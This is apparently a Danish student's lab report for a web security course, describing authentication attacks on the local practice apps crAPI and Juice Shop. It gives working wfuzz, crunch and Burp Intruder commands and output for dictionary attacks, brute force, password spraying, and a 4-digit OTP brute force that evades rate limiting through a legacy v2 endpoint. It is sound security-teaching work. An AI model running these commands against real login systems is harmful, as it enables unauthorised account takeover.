Øvelse 12 – Angreb på Autentificering & Password
Forfatter: Mathias Greisen
Dato: 2026-10-05
Fag/modul: It-sikkerhed i Webapplikationer
Status: Færdig
1. Beskrivelse af øvelsen
Øvelsen går ud på at identificere og udføre grundlæggende angreb mod autentificeringsmekanismer i webapplikationer, der benytter brugernavn og adgangskoder. Fokus er på dictionary attacks, brute force-metoder og password spraying – teknikker som har direkte relevans for penetrationstest og sikkerhedstest af API'er og loginformularer.
2. Reproduktion trin for trin
Forudsætninger
- Kali Linux
- Docker + Docker Compose med services kørende
- wfuzz
- Burp suite (hurtigst med pro version, trial findes)
Dictionary Attack with Burp Suite
-
Opret wordlist på 20 passwords som opfylder crAPI's password regler
-
Opret en bruger i crAPI med et password fra listen
brute@force.test:Hunter#2
-
Fang en login request med burp suite
POST /identity/api/auth/login HTTP/1.1 Host: 127.0.0.1:8443 Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=zkma9RKLwM7jlVnOPZzrxE3oAZKfvPtOWc5nd1N2QgJye48YWk6BXDp5qvbE Content-Length: 50 Sec-Ch-Ua-Platform: "Windows" Accept-Language: da-DK,da;q=0.9 Sec-Ch-Ua: "Chromium";v="151", "Not=A?Brand";v="99" Content-Type: application/json Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 Accept: */* Origin: https://127.0.0.1:8443 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://127.0.0.1:8443/login Accept-Encoding: gzip, deflate, br Priority: u=1, i Connection: keep-alive {"email":"brute@force.test","password":"Hunter#2"} -
Send request til intruder og gå dertil
-
Set attack type til Sniper
-
I requets body, set email til at matche brugeren
-
Highligt password og click "add"
-
I payloads tab, vælg simple list og load wordlist fra step 1 (uncheck "URL-encode these characters" )

-
Klik start
-
Observer efter en response med status kode 200 OK

Dictionary Attack with WFuzz
-
Opret en bruger i crAPI med et password fra rockyou.txt
rockyou@password.test:rockyou
(Bruger oprettet via postman for at få et svagere password og dermed hurtigere resultat med wfuzz)
-
Foretag dictionary attack med WFuzz og rockyou.txt
wfuzz -z file,/usr/share/wordlists/rockyou.txt -d '{"email": "rockyou@password.test","password": "FUZZ"}' -H "Content-Type: application/json" -u https://127.0.0.1:8443/identity/api/auth/login --hc 401Resultat******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: https://127.0.0.1:8443/identity/api/auth/login Total requests: 14344392 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000008: 200 0 L 2 W 547 Ch "rockyou"
Exhaustive brute force attack med Burp Suite
Før øvelsen:
-
Besøg https://www.grc.com/haystack.htm
-
Indtast adgangskoden "passwd"
Parameter Værdi Søge-rum dybde (Alfabet) 26 Søge-rum længde (Tegn) 6 tegn Præcist søge-rum størrelse 321.272.406 Tid brugt til udtømmende søgning (Online angreb)
(Antager 1.000 gæt i sekundet)3,72 dage Tid brugt til udtømmende søgning (Offline hurtigt angreb)
(Antager 100 milliarder gæt i sekundet)0,00321 sekunder Tid brugt til udtømmende søgning (Massiv cracking-array)
(Antager 100 billioner gæt i sekundet)0,00000321 sekunder -
Tilføj et enkelt alfabetisk tegn, og observer, hvordan tiden stiger ("passwds")
Parameter Værdi Søge-rum dybde (Alfabet) 26 Søge-rum længde (Tegn) 7 tegn Præcist søge-rum størrelse 8.353.082.582 Tid brugt til udtømmende søgning (Online angreb)
(Antager 1.000 gæt i sekundet)3,19 måneder Tid brugt til udtømmende søgning (Offline hurtigt angreb)
(Antager 100 milliarder gæt i sekundet)0,0835 sekunder Tid brugt til udtømmende søgning (Massiv cracking-array)
(Antager 100 billioner gæt i sekundet)0,0000835 sekunder -
Tilføj et specialtegn, og se forskellen ("passwd!")
Parameter Værdi Søge-rum dybde (Alfabet) 26 + 33 = 59 Søge-rum længde (Tegn) 7 tegn Præcist søge-rum størrelse 2.531.559.269.039 Tid brugt til udtømmende søgning (Online angreb)
(Antager 1.000 gæt i sekundet)80,50 år Tid brugt til udtømmende søgning (Offline hurtigt angreb)
(Antager 100 milliarder gæt i sekundet)25,32 sekunder Tid brugt til udtømmende søgning (Massiv cracking-array)
(Antager 100 billioner gæt i sekundet)0,0253 sekunder
Øvelsen:
-
Brug Postman til at oprette en bruger med adgangskoden passwd (ved at omgå frontend-validering, som vist i Øvelse 4 - Endpoint Analysis)
POST /identity/api/auth/signup HTTP/1.1 Postman-Token: daab89c6-b5eb-4367-b21d-a799ffec5818 Content-Type: application/json Content-Length: 116 Host: 127.0.0.1:8443 User-Agent: PostmanRuntime/2.8.0 Accept: */* Accept-Encoding: gzip, deflate, br Connection: keep-alive { "name": "Weak", "email": "weak@password.test", "number": "3847483154", "password": "passwd" }weak@password.test:passwd
-
Fang login-anmodningen i Burp Suite
-
Send den til Intruder
-
Indstil e-mailen, så den matcher den oprettede bruger
-
Fremhæv værdien af feltet password, og klik på Add
-
I Payload Type, vælg Brute forcer
-
Indstil tegnsættet til passwd
-
Sæt min og max længde til 6

-
Obsever payload count og request count (det totale antal kombinationer som burpsuite vil forsøge)
15.625
-
Klik start

-
Hurtigere alternativ med wfuzz og crunch (til at oprette wordlist)
crunch 6 6 paswd | wfuzz -z stdin -d '{"email": "weak@password.test","password": "FUZZ"}' -H "Content-Type: application/json" -u https://127.0.0.1:8443/identity/api/auth/login --hc 401ResultatCrunch will now generate the following amount of data: 109375 bytes 0 MB 0 GB 0 TB 0 PB Crunch will now generate the following number of lines: 15625 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: https://127.0.0.1:8443/identity/api/auth/login Total requests: <<unknown>> ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000945: 200 0 L 2 W 543 Ch "passwd"
Password spraying
-
Opret eller genbrug en crAPI-bruger.
brute@force.test:Hunter#2
-
Opret en kort ordliste med 5 sandsynlige adgangskoder (inkluder adgangskoden for brugeren oprettet i trin 1).
-
Hent brugerdata fra EDE-sårbarheden fundet i øvelse 2 under Exploiting BOLA and Excessive Data Exposure for at indsamle 4 brugeres e-mailadresser.
-
Tilføj e-mailadressen oprettet i trin 1 sammen med e-mailadresserne fundet i trin 3 til en ordliste.
-
Optag en login-anmodning, og send den til Intruder.
-
Sæt angrebstypen (Attack type) til Cluster bomb.
-
Marker værdien i e-mailfeltet, og klik på Add. (Dette bliver sæt 1, når du konfigurerer din payload).
-
Marker værdien i adgangskodefeltet, og klik på Add. (Dette bliver sæt 2, når du konfigurerer din payload).
-
Sæt Payload Set 1 til e-mailordlisten (der er en rullemenu til at vælge dette under fanen Payload).
-
Sæt Payload Set 2 til adgangskodelisten.
-
Fjern markeringen i "URL-encode these characters" for begge payloads.

-
Klik på Start attack.
-
Hold øje med anmodninger, der returnerer HTTP 200 OK.

Brute forcing OTP
-
Opret en bruger, benyt "Forgot Password?", indtast e-mail, hent OTP i Mailhog, og gennemfør en normal nulstilling for at bekræfte flowet.
password@reset.test:Test1234!
"Hi, Your one time generated otp is: 0672"
password@reset.test:Test12345!
-
Anmod om 3 nye OTP'er og verificer, at alle koder består af svage, 4-cifrede tal.
Det gør de.
-
Anmod om en OTP, opsnap kaldet til
/identity/api/auth/v3/check-otp, gense anmodningen 10 gange i Burp Suite Repeater, og observer lockout-mekanismen (503-status).HTTP/1.1 503 Server: openresty/1.25.3.1 Date: Mon, 05 Oct 2026 07:39:31 GMT Content-Type: application/json Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 0 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 X-Frame-Options: DENY Content-Length: 66 { "message":"You've exceeded the number of attempts.", "status":503 } -
Omgå rate limiting ved at ændre stien i anmodningen fra den nuværende
/v3/check-otptil den ældre legacy-endpoint/v2/check-otp.Man får nu igen denne respons istedet for:
HTTP/1.1 500 Server: openresty/1.25.3.1 Date: Mon, 05 Oct 2026 07:40:54 GMT Content-Type: application/json Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 0 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 X-Frame-Options: DENY Content-Length: 58 {"message":"Invalid OTP! Please try again..","status":500} -
Opret en ordliste med alle 10.000 kombinationer fra
0000til9999via Bash (for i in $(seq -f "%04g" 0 9999); do echo $i; done > wordlist.txt) eller PowerShell (0..9999 | ForEach-Object { $_.ToString('D4') } | Out-File wordlist.txt).Har istedet brug wfuzz inbyggede range metode
-
Start et nyt nulstillingsflow, send anmodningen til
/v2/check-otpover i Intruder/WFuzz/ZAP, kør ordlisten mod koden, og identificer den korrekte OTP ud fra et200 OK-svar.wfuzz -c -z range,0000-9999 -d '{"email":"password@reset.test","otp":"FUZZ","password":"NewPassword123!"}' -H "Content-Type: application/json" -u http://127.0.0.1:8080/identity/api/auth/v2/check-otp --hc 500Resultat******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: https://127.0.0.1:8443/identity/api/auth/v2/check-otp Total requests: 10000 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000004516: 200 0 L 2 W 39 Ch "4515"Herefter kunne der nu logges ind med: password@reset.test:NewPassword123!
Brute forcing i Juice Shop
-
Fang (intercept) en login-anmodning for administrator-brugeren i Juice Shop.
-
Brug et brute-force-værktøj som f.eks. Burp Suite Intruder.
-
Sæt e-mailen til
admin@juice-sh.op. -
Brug ordlisten
best1050.txtsom payload til adgangskodefeltet.
-
Start angrebet og observer, hvilken adgangskode der returnerer en succesfuld godkendelse (HTTP 200 OK).
Fik en statuk kode 200 efter 117 forsøg med følgende password: admin123

Dette kunne være undgået hvis man havde haft et lockout efter antal forkerte forsøg i api'en.
3. Problemer og løsninger
Jeg løb ikke ind i problemer under denne opgave udover at BurpSuite Intruder er meget langsom.
4. Anvendte ressourcer
- https://wfuzz.readthedocs.io/en/latest/user/basicusage.html?highlight=post
5. Opsummering af erfaringer
Jeg har fået erfaringer med hvordan svage autentificeringsmekanismer kan udnyttes. Jeg har lært at udføre simple dictionary attacks, password spraying, brute forcing og OTP-manipulation.
Det at gamle endpoints (v2 vs. v3) kunne bruges til at omgå rate limiting viser også at man også skal huske at opdatere ældre versioner.
Man skal også huske at bruge stærke/komplekse adgangskoder og at implementere lockout- og/eller rate limit mekanisker for at besværliggøre angreb.